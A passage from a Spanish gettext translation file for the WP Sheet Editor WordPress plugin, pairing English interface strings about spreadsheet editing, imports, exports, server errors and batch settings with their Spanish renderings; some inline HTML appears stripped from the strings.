wp-sheet-editor/dev/inc/api/bootstrap.php:252 msgid "Sort" msgstr "Ordenar" #: wp-sheet-editor/dev/inc/api/bootstrap.php:277 #: wp-sheet-editor/dev/inc/api/editor.php:351 msgid "You can create new items here" msgstr "Puedes crear nuevas filas aquí" #: wp-sheet-editor/dev/inc/api/bootstrap.php:288 msgid "Load" msgstr "Cargar" #: wp-sheet-editor/dev/inc/api/bootstrap.php:299 msgid "Exit Full Screen" msgstr "Salir del modo de Pantalla Completa" #: wp-sheet-editor/dev/inc/api/bootstrap.php:310 msgid "Show cells as simple text" msgstr "Mostrar las celdas como texto simple" #: wp-sheet-editor/dev/inc/api/bootstrap.php:313 msgid "" "By default dates show in a calendar, post content has a text editor option, " "images show preview, etc. you can enable this option to display everything " "as plain text and disable the fancy formatting." msgstr "" "Por defecto, las fechas se muestran en un calendario, el contenido del post " "tiene una opción de editor de texto, las imágenes muestran una vista previa, " "etc. Puedes habilitar esta opción para que se muestre todo como texto sin " "formato y deshabilitar el formato elegante." #: wp-sheet-editor/dev/inc/api/bootstrap.php:324 msgid "Load more on scroll" msgstr "Cargar más al hacer scroll" #: wp-sheet-editor/dev/inc/api/bootstrap.php:327 msgid "" "When this is enabled more items will be loaded to the bottom of the " "spreadsheet when you reach the end of the page" msgstr "" "Cuando esta opción está habilitada, se cargarán más elementos en la parte " "inferior de la hoja de cálculo cuando llegues al final de la página" #: wp-sheet-editor/dev/inc/api/bootstrap.php:339 msgid "Scan DB to find fields" msgstr "Escanear la BD para encontrar campos" #: wp-sheet-editor/dev/inc/api/bootstrap.php:343 msgid "" "We can scan the database, find new fields, and create columns automatically " "for the supported fields." msgstr "" "Podemos escanear la base de datos, encontrar nuevos campos y crear columnas " "automáticamente para los campos soportados." #: wp-sheet-editor/dev/inc/api/bootstrap.php:358 #: wp-sheet-editor/dev/inc/api/bootstrap.php:359 msgid "All changes saved." msgstr "Todos los cambios fueron guardados." #: wp-sheet-editor/dev/inc/api/bootstrap.php:358 msgid "Saving changes, don't close this page." msgstr "Guardando cambios, por favor no cierres esta página." #: wp-sheet-editor/dev/inc/api/bootstrap.php:358 msgid "Some changes are not saved yet." msgstr "Algunos cambios no han sido guardados todavía." #: wp-sheet-editor/dev/inc/api/bootstrap.php:518 #: wp-sheet-editor/dev/inc/api/bootstrap.php:544 msgid "Content" msgstr "Contenido" #: wp-sheet-editor/dev/inc/api/bootstrap.php:529 msgid "" "Use this editor to edit the content only, other fields like tags and " "categories should be edited on the spreadsheet." msgstr "" "Usa este editor para editar sólo el contenido, otros campos como etiquetas y " "categorías deben ser editados en la hoja de cálculo." #: wp-sheet-editor/dev/inc/api/bootstrap.php:569 #: wp-sheet-editor/dev/inc/api/editor.php:378 msgid "WP Editor" msgstr "Editor de WP" #: wp-sheet-editor/dev/inc/api/bootstrap.php:593 msgid "View" msgstr "Ver" #: wp-sheet-editor/dev/inc/api/bootstrap.php:643 msgid "Modified Date" msgstr "Fecha de modificación" #: wp-sheet-editor/dev/inc/api/bootstrap.php:682 msgid "Excerpt" msgstr "Extracto" #: wp-sheet-editor/dev/inc/api/bootstrap.php:695 msgid "Delete completely" msgstr "Eliminar completamente" #: wp-sheet-editor/dev/inc/api/bootstrap.php:774 msgid "Order" msgstr "Orden" #: wp-sheet-editor/dev/inc/api/bootstrap.php:837 msgid "Enter multiple terms separated by %s" msgstr "Ingresa varios términos separados por %s" #: wp-sheet-editor/dev/inc/api/bootstrap.php:866 msgid "Post type" msgstr "Post type" #: wp-sheet-editor/dev/inc/api/bootstrap.php:890 msgid "Password" msgstr "Contraseña" #: wp-sheet-editor/dev/inc/api/editor.php:207 msgid "" "\n" "(You can remove these help messages in the advanced settings)" msgstr "" "\n" "(Puedes remover estos mensajes de ayuda en los ajustes avanzados)" #: wp-sheet-editor/dev/inc/api/editor.php:226 msgid "Pro" msgstr "Pro" #: wp-sheet-editor/dev/inc/api/editor.php:227 msgid "Enable" msgstr "Habilitar" #: wp-sheet-editor/dev/inc/api/editor.php:283 msgid "Please select at least one column to import" msgstr "Por favor, selecciona al menos una columna a importar" #: wp-sheet-editor/dev/inc/api/editor.php:284 msgid "Show column key" msgstr "Mostrar la clave de la columna" #: wp-sheet-editor/dev/inc/api/editor.php:285 msgid "" "This is the dynamic tag for this column. You can copy this and use it in the " "bulk edit tool" msgstr "" "Esta es una etiqueta dinámica para esta columna. Puedes copiar esto y usarlo " "en la herramienta de edición masiva" #: wp-sheet-editor/dev/inc/api/editor.php:286 msgid "Click here to show all columns again" msgstr "Haz clic aquí para ver todas las columnas otra vez" #: wp-sheet-editor/dev/inc/api/editor.php:287 msgid "" "The last import batch failed due to a server error, it's more likely that " "the server got overloaded.
                  1- You can try importing fewer rows per batch (i.e. import 2 rows " "every few seconds).
                  2- You can start a new import, sometimes trying again " "works (use the \"advanced settings\" in the step 1 of the import to start " "from a specific row).
                  3- You can increase the php memory following this tutorial
                  4- If the problem happens " "after trying with 1 row per batch, you can contact us and we will make it work for you" msgstr "" "El último lote de importación falló debido a un error del servidor, es más " "probable que el servidor se haya sobrecargado.
                  1- Puedes intentar importar menos filas por lote (es decir, " "importar 2 filas cada pocos segundos).
                  2- Puedes iniciar una nueva " "importación, a veces intentarlo de nuevo funciona (usa los \"Ajustes " "avanzados\" en el paso 1 de la importación para empezar desde una fila " "específica).
                  3- Puedes incrementar la memoria php siguiendo este tutorial
                  4- Si el problema ocurre " "después de intentarlo con 1 fila por lote, puedes contactar con nosotros y te ayudaremos." #: wp-sheet-editor/dev/inc/api/editor.php:288 msgid "" "Your server was not able to process this batch. Do you want to try again? " "You can retry 3 times, If 3 attempts fail we will stop the import completely." msgstr "" "Tu servidor no fue capaz de procesar este lote. ¿Quieres intentarlo de " "nuevo? Puedes volver a intentarlo 3 veces, y si los 3 intentos fallan, " "pararemos la importación completamente." #: wp-sheet-editor/dev/inc/api/editor.php:289 msgid "" "Please correct the error in the file and start a new import. You can use the " "\"Advanced options\" in the step 1 of the import to start from this specific " "row." msgstr "" "Por favor, corrige el error en el archivo e inicia una nueva importación. " "Puedes usar las \"Opciones avanzadas\" en el paso 1 de la importación para " "empezar desde esta fila específica." #: wp-sheet-editor/dev/inc/api/editor.php:290 msgid "

                  The import has finished

                  " msgstr "

                  La importación ha terminado

                  " #: wp-sheet-editor/dev/inc/api/editor.php:291 msgid "" "

                  The export has been scheduled. You can close this popup. View scheduled exports." msgstr "" "

                  La exportación se ha programado. Puedes cerrar esta ventana emergente. Ver las " "exportaciones programadas.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:292 msgid "" "

                  The import has been scheduled. You can close this popup. View scheduled imports." msgstr "" "

                  La importación ha sido programada. Puedes cerrar esta ventana emergente. " "Ver las " "importaciones programadas.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:293 msgid "" "

                  The changes have been scheduled. You can close this popup. View scheduled changes." "

                  " msgstr "" "

                  Los cambios han sido programados. Puedes cerrar esta ventana emergente. " "Ver los " "cambios programados.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:294 msgid "" "

                  The bulk edit has been scheduled. You can close this popup. View scheduled bulk " "edits.

                  " msgstr "" "

                  El cambio masivo ha sido programado. Puedes cerrar esta ventana " "emergente. Ver los cambios masivos " "programados.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:295 msgid "Modified cells" msgstr "Celdas modificadas" #: wp-sheet-editor/dev/inc/api/editor.php:296 msgid "The export has been edited successfully" msgstr "La exportación ha sido editada con éxito" #: wp-sheet-editor/dev/inc/api/editor.php:297 msgid "" "The list of Google Sheets files has been refreshed. Please search your file " "again." msgstr "" "La lista de archivos de Google Sheets se ha actualizado. Vuelve a buscar tu " "archivo." #: wp-sheet-editor/dev/inc/api/editor.php:298 msgid "" "This will disconnect your Google account from WP Sheet Editor which will " "stop all sync jobs configured with that Google account across all your " "WordPress sites. But other users can connect their own Google account, so " "other users' sync jobs linked to their own Google accounts will remain " "unaffected. Are you sure you want to disconnect your Google account " "completely?" msgstr "" "Esto desconectará tu cuenta de Google de WP Sheet Editor, lo que detendrá " "todas las tareas de sincronización configuradas con esa cuenta de Google en " "todos tus sitios de WordPress. Sin embargo, otros usuarios pueden conectar " "su propia cuenta de Google, por lo que las tareas de sincronización de otros " "usuarios vinculadas a sus propias cuentas de Google no se verán afectadas. " "¿Estás seguro de que quieres desconectar tu cuenta de Google por completo?" #: wp-sheet-editor/dev/inc/api/editor.php:299 msgid "" "Disconnecting the current site from your Google account and the WP Sheet " "Editor API will pause the sync jobs you created on this site. However, sync " "jobs created by other users on this site, which sync to their own Google " "accounts, will remain active. Your other WordPress sites will continue to " "function normally. Do you want to continue?" msgstr "" "Si desconectas el sitio actual de tu cuenta de Google y de la API de WP " "Sheet Editor, se detendrán las tareas de sincronización que hayas creado en " "este sitio. Sin embargo, las tareas de sincronización creadas por otros " "usuarios en este sitio, que se sincronizan con sus propias cuentas de " "Google, permanecerán activas. Tus otros sitios de WordPress seguirán " "funcionando con normalidad. ¿Quieres continuar?" #: wp-sheet-editor/dev/inc/api/editor.php:300 msgid "The bulk edit has been edited successfully" msgstr "El cambio masivo ha sido editado con éxito" #: wp-sheet-editor/dev/inc/api/editor.php:301 msgid "The import has been edited successfully" msgstr "La importación ha sido editada con éxito" #: wp-sheet-editor/dev/inc/api/editor.php:302 msgid "Name of this export" msgstr "Nombre de esta exportación" #: wp-sheet-editor/dev/inc/api/editor.php:303 msgid "" "Are you sure you want to delete this scheduled job and all its related files?" msgstr "" "¿Estás seguro de que quieres eliminar esta tarea programada y todos sus " "archivos relacionados?" #: wp-sheet-editor/dev/inc/api/editor.php:304 msgid "Are you sure you want to delete this columns view?" msgstr "¿Estás seguro de que quieres eliminar esta vista de columnas?" #: wp-sheet-editor/dev/inc/api/editor.php:306 msgid "

                  The process has finished

                  " msgstr "

                  El proceso ha terminado

                  " #: wp-sheet-editor/dev/inc/api/editor.php:307 msgid "The selected product does not have variations" msgstr "El producto seleccionado no tiene variaciones" #: wp-sheet-editor/dev/inc/api/editor.php:308 msgid "empty" msgstr "vacío" #: wp-sheet-editor/dev/inc/api/editor.php:309 msgid "This will save you {clicks_count} clicks :)" msgstr "Esto te ahorrará {clicks_count} clics :)" #: wp-sheet-editor/dev/inc/api/editor.php:310 msgid "" "We found similar columns. Do you want to apply the same action to them? " "{columns}" msgstr "" "Encontramos columnas similares. ¿Quieres aplicarles la misma acción? " "{columns}" #: wp-sheet-editor/dev/inc/api/editor.php:311 msgid "" "This column is only for variation rows, parent products don't use this field" msgstr "" "Esta columna es sólo para las filas de variaciones, los productos padre no " "usan este campo" #: wp-sheet-editor/dev/inc/api/editor.php:312 msgid "Editing the field: {field_label}" msgstr "Editando el campo: {field_label}" #: wp-sheet-editor/dev/inc/api/editor.php:313 msgid "Column not found. Try with another search criteria." msgstr "Columna no encontrada. Intenta con otro criterio de búsqueda." #: wp-sheet-editor/dev/inc/api/editor.php:314 msgid "" "This column is for parent products only, variations don't use this field" msgstr "" "Esta columna es sólo para los productos padre, las variaciones no usan este " "campo" #: wp-sheet-editor/dev/inc/api/editor.php:315 msgid "Paste using keyboard: Ctrl+V" msgstr "Pegar con el teclado: Ctrl+V" #: wp-sheet-editor/dev/inc/api/editor.php:316 msgid "Realign cells" msgstr "Realinear celdas" #: wp-sheet-editor/dev/inc/api/editor.php:317 msgid "Remove all filters" msgstr "Eliminar todos los filtros" #: wp-sheet-editor/dev/inc/api/editor.php:318 msgid "Resize columns based on the values" msgstr "Redimensionar las columnas en base a los valores" #: wp-sheet-editor/dev/inc/api/editor.php:319 msgid "Delete row" msgstr "Borrar fila" #: wp-sheet-editor/dev/inc/api/editor.php:320 msgid "" "Do you want to delete {rows_number} rows from the database completely? If " "you want to restore them later, you should make a backup before." msgstr "" "Quieres borrar {rows_number} filas de la base de datos completamente? Si " "quieres restaurarlas después, deberías hacer una copia de seguridad antes." #: wp-sheet-editor/dev/inc/api/editor.php:321 msgid "Duplicate row" msgstr "Duplicar fila" #: wp-sheet-editor/dev/inc/api/editor.php:322 msgid "Hide column" msgstr "Ocultar columna" #: wp-sheet-editor/dev/inc/api/editor.php:323 msgid "Bulk edit column" msgstr "Editar esta columna masivamente" #: wp-sheet-editor/dev/inc/api/editor.php:325 msgid "Copy variations from this product" msgstr "Copiar variaciones de este producto" #: wp-sheet-editor/dev/inc/api/editor.php:327 msgid "Delete field" msgstr "Eliminar campo" #: wp-sheet-editor/dev/inc/api/editor.php:328 msgid "" "We will delete this meta field from the database and you will lose the " "values saved in this field on all the rows. You should make a backup to be " "able to restore in the future. Do you want to continue with the deletion?" msgstr "" "Borraremos este campo meta de la base de datos y perderás los valores " "guardados en este campo en todas las filas. Deberías hacer una copia de " "seguridad para poder restaurarla en el futuro. ¿Quieres continuar con la " "eliminación?" #: wp-sheet-editor/dev/inc/api/editor.php:329 msgid "Delete serialized field" msgstr "Eliminar campo serializado" #: wp-sheet-editor/dev/inc/api/editor.php:330 msgid "" "We will delete this serialized field, which includes all its subfields, from " "the database and you will lose the values saved in this field on all the " "rows. You should make a backup to be able to restore in the future. Do you " "want to continue with the deletion?" msgstr "" "Borraremos este campo serializado, incluyendo todos sus subcampos, de la " "base de datos y perderás los valores guardados en este campo en todas las " "filas. Deberías hacer una copia de seguridad para poder restaurar en el " "futuro. ¿Quieres continuar con la eliminación?" #: wp-sheet-editor/dev/inc/api/editor.php:331 msgid "Edit meta key" msgstr "Editar la meta clave" #: wp-sheet-editor/dev/inc/api/editor.php:332 msgid "Error: The new value is empty or is equal to the old value" msgstr "Error: El nuevo valor está vacío o es igual al valor antiguo" #: wp-sheet-editor/dev/inc/api/editor.php:333 msgid "Showing rows from your last session." msgstr "Mostrando las filas de la última sesión." #: wp-sheet-editor/dev/inc/api/editor.php:334 msgid "Export column" msgstr "Exportar columna" #: wp-sheet-editor/dev/inc/api/editor.php:335 msgid "" "

                  The bulk edit was not applied completely. The process was canceled due to " "an error.

                  You can close this window.

                  " msgstr "" "

                  El cambio masivo no se aplicó completamente. El proceso fue cancelado " "debido a un error.

                  Puedes cerrar esta ventana.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:336 msgid "" "

                  The process did not finish. The process was canceled due to an error.

                  You can close this window.

                  " msgstr "" "

                  " "Puedes cerrar esta ventana.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:337 msgid "" "Your server was not able to process this batch. Do you want to try again?" msgstr "" "El servidor no ha podido procesar este lote. ¿Quieres intentarlo de nuevo?" #: wp-sheet-editor/dev/inc/api/editor.php:338 msgid "The bulk edit was executed successfully. You can close this window" msgstr "El cambio masivo fue ejecutado con éxito. Puedes cerrar esta ventana." #: wp-sheet-editor/dev/inc/api/editor.php:340 msgid "" "ENABLE COLUMNS. These columns require a page reload: {columns}. Do you want " "to reload now? We will reload automatically" msgstr "" "HABILITAR COLUMNAS. Estas columnas requieren una recarga de la página: " "{columns}. ¿Quieres recargar ahora? Recargaremos automáticamente." #: wp-sheet-editor/dev/inc/api/editor.php:341 msgid "" "Column removed. Go to \"settings > hide/display columns\" to enable it again" msgstr "" "Columna removida. Ve a \"Ajustes > Ocultar/mostrar columnas\" para " "habilitarla de nuevo" #: wp-sheet-editor/dev/inc/api/editor.php:342 msgid "" "You have modified posts. Please save the changes because we will refresh the " "spreadsheet." msgstr "" "Has modificado filas. Por favor, guarda los cambios porque actualizaremos la " "hoja de cálculo." #: wp-sheet-editor/dev/inc/api/editor.php:343 msgid "" "You have modified rows. Please save the changes before removing columns from " "the spreadsheet." msgstr "" "Has modificado filas. Por favor, guarda los cambios antes de eliminar " "columnas de la hoja de cálculo." #: wp-sheet-editor/dev/inc/api/editor.php:344 msgid "" "You have modified posts. Please save the changes because we will refresh the " "spreadsheet. Do you want to refresh now?" msgstr "" "Has modificado filas. Por favor, guarda los cambios porque actualizaremos la " "hoja de cálculo. ¿Quieres recargar ahora?" #: wp-sheet-editor/dev/inc/api/editor.php:345 msgid "" "Some rows were modified in the background. Please save the changes and " "reload the spreadsheet to see the changes" msgstr "" "Algunas filas fueron modificadas en segundo plano. Por favor, guarda los " "cambios y recarga la hoja de cálculo para ver los cambios." #: wp-sheet-editor/dev/inc/api/editor.php:346 msgid "" "Some rows were modified in the spreadsheet. Please save the changes before " "using this feature." msgstr "" "Algunas filas fueron modificadas en el fondo. Por favor, guarda los cambios " "antes de usar esta función." #: wp-sheet-editor/dev/inc/api/editor.php:347 msgid "" "We didn't find rows to update from the search query. Please try another " "search query." msgstr "" "No encontramos filas a actualizar a partir de la consulta de búsqueda. Por " "favor, intenta otra búsqueda." #: wp-sheet-editor/dev/inc/api/editor.php:348 msgid "We didn't find rows for the export. Please try another search query." msgstr "No encontramos filas a exportar. Por favor, intenta con otra búsqueda." #: wp-sheet-editor/dev/inc/api/editor.php:349 msgid "You can find all the settings here, like columns visibility, etc." msgstr "" "Puedes encontrar todos los ajustes aquí, como la visibilidad de las " "columnas, etc." #: wp-sheet-editor/dev/inc/api/editor.php:350 msgid "Oops, nothing found" msgstr "Oops, no encontramos nada." #: wp-sheet-editor/dev/inc/api/editor.php:352 msgid "Upload image" msgstr "Subir imagen" #: wp-sheet-editor/dev/inc/api/editor.php:353 msgid "View Gallery" msgstr "Ver Galería" #: wp-sheet-editor/dev/inc/api/editor.php:354 msgid "No options available" msgstr "No hay opciones disponibles" #: wp-sheet-editor/dev/inc/api/editor.php:355 #: wp-sheet-editor/dev/inc/api/helpers.php:1341 msgid "Items loaded in the spreadsheet" msgstr "Elementos cargados en la hoja de cálculo" #: wp-sheet-editor/dev/inc/api/editor.php:356 msgid "New rows added" msgstr "Se añadieron nuevas filas" #: wp-sheet-editor/dev/inc/api/editor.php:357 msgid "" "The bulk edit has been executed. Do you want to reload the page to see the " "changes?" msgstr "" "El cambio masivo ha sido ejecutado. ¿Quieres recargar la página para ver los " "cambios?" #: wp-sheet-editor/dev/inc/api/editor.php:358 msgid "" "

                  The changes were not saved completely. The process was canceled due to an " "error .

                  You can close this popup.

                  " msgstr "" "

                  Los cambios no se guardaron completamente. El proceso fue cancelado " "debido a un error .

                  Puedes cerrar esta ventana emergente.

                  " #: wp-sheet-editor/dev/inc/api/editor.php:359 msgid "" "

                  The automatic saving failed. Your changes were not saved completely due " "to an error. You can try again later, if the error persists contact our " "support team and keep this tab opened

                  " msgstr "" "

                  El guardado automático falló. Tus cambios no se guardaron completamente " "debido a un error. Puedes intentarlo de nuevo más tarde. Si el error " "persiste, contacta a nuestro equipo de soporte y mantén esta pestaña abierta." "

                  " #: wp-sheet-editor/dev/inc/api/editor.php:360 msgid "{updated} attributes have been merged." msgstr "Se combinaron {updated} atributos." #: wp-sheet-editor/dev/inc/api/editor.php:361 msgid "{updated} items saved of {total} items that need saving." msgstr "" "Se han guardado {updated} elementos de {total} elementos que necesitan " "guardarse." #: wp-sheet-editor/dev/inc/api/editor.php:362 msgid "" "Scanning variations to be created. {updated} products of {total} products " "have been processed." msgstr "" "Escaneando variaciones a crear. Se han procesado {updated} productos de " "{total} productos." #: wp-sheet-editor/dev/inc/api/editor.php:363 msgid "{deleted} duplicates have been removed." msgstr "Se eliminaron {deleted} duplicados." #: wp-sheet-editor/dev/inc/api/editor.php:364 msgid "All items have been saved." msgstr "Se han guardado todos los elementos." #: wp-sheet-editor/dev/inc/api/editor.php:365 msgid "" "Please check if you have unsaved changes. If you have, please save them or " "they will be dismissed." msgstr "" "Por favor, comprueba si tienes cambios no guardados. Si es así, por favor, " "guárdalos o serán descartados." #: wp-sheet-editor/dev/inc/api/editor.php:366 msgid "Everything is already saved." msgstr "Ya está todo guardado." #: wp-sheet-editor/dev/inc/api/editor.php:367 msgid "" "The server did not accept our request. Bad request, please try refresh the " "page and try again." msgstr "" "El servidor no aceptó nuestra petición. Mala solicitud. Por favor, intenta " "actualizar la página e inténtalo de nuevo." #: wp-sheet-editor/dev/inc/api/editor.php:368 msgid "" "The server didn't accept our request. You don't have permission to do this " "action. Please log in again." msgstr "" "El servidor no aceptó nuestra petición. No tienes permisos para realizar " "esta acción. Por favor, inicia sesión de nuevo." #: wp-sheet-editor/dev/inc/api/editor.php:369 msgid "The server is not available or overloaded. Please try again later." msgstr "" "El servidor no está disponible o está sobrecargado. Por favor, inténtalo de " "nuevo más tarde." #: wp-sheet-editor/dev/inc/api/editor.php:370 msgid "The server is not available or overloaded. Do you want to try again?" msgstr "" "El servidor no está disponible o está sobrecargado. ¿Quieres intentarlo de " "nuevo?" #: wp-sheet-editor/dev/inc/api/editor.php:371 msgid "" "The auto saving failed: the server is not available or overloaded. Do you " "want to try again?" msgstr "" "El guardado automático falló: El servidor no está disponible o está " "sobrecargado. ¿Quieres intentarlo de nuevo?" #: wp-sheet-editor/dev/inc/api/editor.php:372 msgid "" "The server wasn't able to process our request. Server error. Please try " "again later." msgstr "" "El servidor no pudo procesar nuestra petición. Error del servidor. Por " "favor, inténtalo de nuevo más tarde." #: wp-sheet-editor/dev/inc/api/editor.php:373 msgid "" "The server has exceeded its allocated resources and is not able to process " "our request." msgstr "" "El servidor ha excedido sus recursos asignados y no puede procesar nuestra " "solicitud." #: wp-sheet-editor/dev/inc/api/editor.php:374 msgid "" "The server is busy and took too long to respond to our request. Please try " "again later." msgstr "" "El servidor está ocupado y tardó demasiado en responder a nuestra petición. " "Por favor, inténtalo de nuevo más tarde." #: wp-sheet-editor/dev/inc/api/editor.php:375 msgid "The server could not process our request. Please try again later." msgstr "" "El servidor no pudo procesar nuestra solicitud. Por favor, inténtalo de " "nuevo más tarde." #: wp-sheet-editor/dev/inc/api/editor.php:376 msgid "Change background color" msgstr "Cambiar el color de fondo" #: wp-sheet-editor/dev/inc/api/editor.php:377 msgid "" "

                  Missing column?

                  " msgstr "" "

                  ¿Falta una columna?

                  o " #: wp-sheet-editor/dev/inc/api/editor.php:383 msgid "" "Do we deserve a 5-star review? Yes, you deserve it . - . " "No" msgstr "" "¿Merecemos 5 estrellas? Sí, lo merecen. . - . No" #: wp-sheet-editor/dev/inc/api/helpers.php:444 #: wp-sheet-editor/dev/inc/teasers/terms.php:54 msgid "(Pro extension)" msgstr "(Extensión Pro)" #: wp-sheet-editor/dev/inc/api/helpers.php:448 #: wp-sheet-editor/dev/inc/teasers/coupons.php:35 #: wp-sheet-editor/dev/inc/teasers/terms.php:54 #: wp-sheet-editor/dev/inc/teasers/users.php:34 msgid "(Install free extension)" msgstr "(Instalar extensión gratuita)" #: wp-sheet-editor/dev/inc/api/helpers.php:551 msgid "The item could not be saved. Please try again in other moment." msgstr "" "El elemento no se ha podido guardar. Por favor, inténtalo de nuevo en otro " "momento." #: wp-sheet-editor/dev/inc/api/helpers.php:1026 msgid "User not allowed to edit rows" msgstr "Usuario no autorizado para editar las filas" #: wp-sheet-editor/dev/inc/api/helpers.php:1308 msgid "No more posts available." msgstr "No hay más filas disponibles." #: wp-sheet-editor/dev/inc/api/helpers.php:1310 msgid "" "No posts found matching your search parameters. You can remove the active " "filters or try with a different search." msgstr "" "No se han encontrado filas que coincidan con los parámetros de búsqueda. " "Puedes eliminar los filtros activos o intentarlo con una búsqueda diferente." #: wp-sheet-editor/dev/inc/api/helpers.php:1312 msgid "No posts available for the current page." msgstr "No hay filas disponibles para la página actual." #: wp-sheet-editor/dev/inc/api/logger.php:49 msgid "The log file does not exist." msgstr "El archivo de registro no existe." #: wp-sheet-editor/dev/inc/integrations/elementor.php:60 msgid "Elementor" msgstr "Elementor" #: wp-sheet-editor/dev/inc/integrations/notifier.php:38 msgid "Disable the popup that asks you to install important extensions?" msgstr "" "¿Deshabilitar la ventana emergente que te pide instalar extensiones " "importantes?" #: wp-sheet-editor/dev/inc/integrations/notifier.php:39 msgid "" "We show a popup asking you to install free extensions when we detect that " "you are using a third-party plugin that requires special compatibility, " "which helps us prevent errors." msgstr "" "Mostramos una ventana emergente pidiéndote que instales extensiones " "gratuitas cuando detectamos que estás utilizando un plugin de terceros que " "requiere una compatibilidad especial, lo que nos ayuda a evitar errores." #: wp-sheet-editor/dev/inc/integrations/notifier.php:201 msgid "Integrations" msgstr "Integraciones" #: wp-sheet-editor/dev/inc/integrations/notifier.php:241 msgid "Important extensions" msgstr "Extensiones importantes" #: wp-sheet-editor/dev/inc/integrations/notifier.php:242 msgid "" "Some of your plugins require special compatibility, and we have created " "these extensions that you can download for free if you purchased our plugin." msgstr "" "Algunos plugins requieren compatibilidad especial y hemos creado estas " "extensiones que puedes descargar gratuitamente si compraste nuestro plugin." #: wp-sheet-editor/dev/inc/integrations/notifier.php:243 msgid "" "It's important that you install them to prevent errors, but you can do it " "later if you want. Find this popup in the toolbar > extensions > " "Integrations." msgstr "" "Es importante que las instales para evitar errores, pero puedes hacerlo más " "tarde si quieres. Encuentra esta ventana emergente en la barra de " "herramientas > extensiones > Integraciones." #: wp-sheet-editor/dev/inc/integrations/notifier.php:244 msgid "" "If you click on the \"download\" button, we will download the file from the " "official website: wpsheeteditor.com." msgstr "" "Si haces clic en el botón \"descargar\", descargaremos el archivo desde el " "sitio web oficial: wpsheeteditor.com." #: wp-sheet-editor/dev/inc/integrations/notifier.php:251 #: wp-sheet-editor/dev/inc/integrations/notifier.php:274 msgid "Extension name" msgstr "Nombre de la extensión" #: wp-sheet-editor/dev/inc/integrations/notifier.php:252 #: wp-sheet-editor/dev/inc/integrations/notifier.php:275 #: wp-sheet-editor/dev/inc/teasers/post-types.php:96 msgid "Description" msgstr "Descripción" #: wp-sheet-editor/dev/inc/integrations/notifier.php:253 #: wp-sheet-editor/dev/inc/integrations/notifier.php:276 msgid "Action" msgstr "Acción" #: wp-sheet-editor/dev/inc/integrations/notifier.php:261 #: wp-sheet-editor/dev/inc/integrations/notifier.php:284 msgid "Already downloaded" msgstr "Descargada" #: wp-sheet-editor/dev/inc/integrations/notifier.php:261 msgid "Download" msgstr "Descargar" #: wp-sheet-editor/dev/inc/integrations/notifier.php:270 msgid "Extensions that require update" msgstr "Extensiones que requieren actualización" #: wp-sheet-editor/dev/inc/integrations/notifier.php:284 msgid "Download update" msgstr "Actualización de descarga" #: wp-sheet-editor/dev/inc/integrations/notifier.php:290 msgid "" "When you finish downloading the plugins, you need to go to wp-admin > " "plugins > add new and install them." msgstr "" "Cuando termines de descargar los plugins, tienes que ir a wp-admin > plugins " "> añadir nuevo e instalarlos." #: wp-sheet-editor/dev/inc/integrations/notifier.php:291 #, fuzzy #| msgid "Need help?" msgid "Do you need help?." msgstr "¿Necesitas ayuda?" #: wp-sheet-editor/dev/inc/integrations/visual-composer.php:33 msgid "WPBakery Page Builder" msgstr "WPBakery Page Builder" #: wp-sheet-editor/dev/inc/integrations/visual-composer.php:46 msgid "Live" msgstr "En vivo" #: wp-sheet-editor/dev/inc/integrations/visual-composer.php:52 msgid "Backend" msgstr "Backend" #: wp-sheet-editor/dev/inc/options-init.php:19 msgid "Speed and performance" msgstr "Velocidad y rendimiento" #: wp-sheet-editor/dev/inc/options-init.php:25 msgid "Load rows faster: Number of rows to load per batch" msgstr "Cargar las filas más rápido: Número de filas a cargar por lote" #: wp-sheet-editor/dev/inc/options-init.php:26 msgid "" "We use pagination to use few server resources. We load 20 rows first and " "load 20 more every time you scroll down. You can increase this number to " "load more rows per page. CAREFUL. Loading more than 200 rows per page might " "overload your server. If we detect that the server is overloaded we will " "automatically reset to 10 rows per page." msgstr "" "Usamos la paginación para usar pocos recursos del servidor. Cargamos 20 " "filas primero y 20 más cada vez que se desplaza hacia abajo. Puedes aumentar " "este número para cargar más filas por página. CUIDADO. Cargar más de 200 " "filas por página podría sobrecargar tu servidor. Si detectamos que el " "servidor está sobrecargado, automáticamente se restablecerá a 10 filas por " "página." #: wp-sheet-editor/dev/inc/options-init.php:33 msgid "Export rows faster: Number of rows to export per batch" msgstr "Exportar filas más rápido: Número de filas a exportar por lote" #: wp-sheet-editor/dev/inc/options-init.php:34 msgid "" "Here you can control the batch size for the exports. If you use a high " "number the exports will finish faster. You can use a high number safely " "because we automatically fall back to a lower number if the server is " "overloaded during one export. For example, export 100 rows per batch and " "complete the exports super fast and if we detect slowness in one export we " "will automatically restart the export with 10 rows per batch" msgstr "" "Aquí puedes controlar el tamaño del lote para las exportaciones. Si usas un " "número alto, las exportaciones terminarán más rápido. Puedes usar un número " "alto de forma segura porque automáticamente volvemos a un número más bajo si " "el servidor se sobrecarga durante una exportación. Por ejemplo, exportar 100 " "filas por lote y completar las exportaciones súper rápido y si detectamos " "lentitud en una exportación reiniciaremos automáticamente la exportación con " "10 filas por lote" #: wp-sheet-editor/dev/inc/options-init.php:41 msgid "Save changes faster: Number of rows to save per batch" msgstr "Guarda los cambios más rápido: Número de filas a guardar por lote" #: wp-sheet-editor/dev/inc/options-init.php:42 msgid "" "When you edit a large amount of posts in the spreadsheet editor we can't " "save all the changes at once, so we do it in batches. The recommended value " "is 4 , which means we will process only 4 posts at once. You can adjust it " "as it works best for you. If you get errors when saving you should lower the " "number" msgstr "" "Cuando editas una gran cantidad de filas en el editor de hojas de cálculo, " "no podemos guardar todos los cambios a la vez, así que lo hacemos por lotes. " "El valor recomendado es 4 , lo que significa que procesaremos sólo 4 filas a " "la vez. Puedes ajustarlo como mejor te convenga. Si se producen errores al " "guardar, deberías reducir el número" #: wp-sheet-editor/dev/inc/options-init.php:49 msgid "Delete posts faster: Number of posts to delete per batch" msgstr "Borrar filas más rápido: Número de filas a borrar por lote" #: wp-sheet-editor/dev/inc/options-init.php:50 msgid "" "When you delete posts, pages, events, products, orders, coupons, and other " "post types, you can select how many will be deleted on every batch. Use a " "higher number to finish faster. Default is 500" msgstr "" "Cuando borras entradas, páginas, eventos, productos, pedidos, cupones, y " "otros post types, puedes seleccionar cuántas filas borraremos por lote. Usa " "un número mayor para finalizar más rápido, pero pudiera saturar tu servidor. " "Predeterminado: 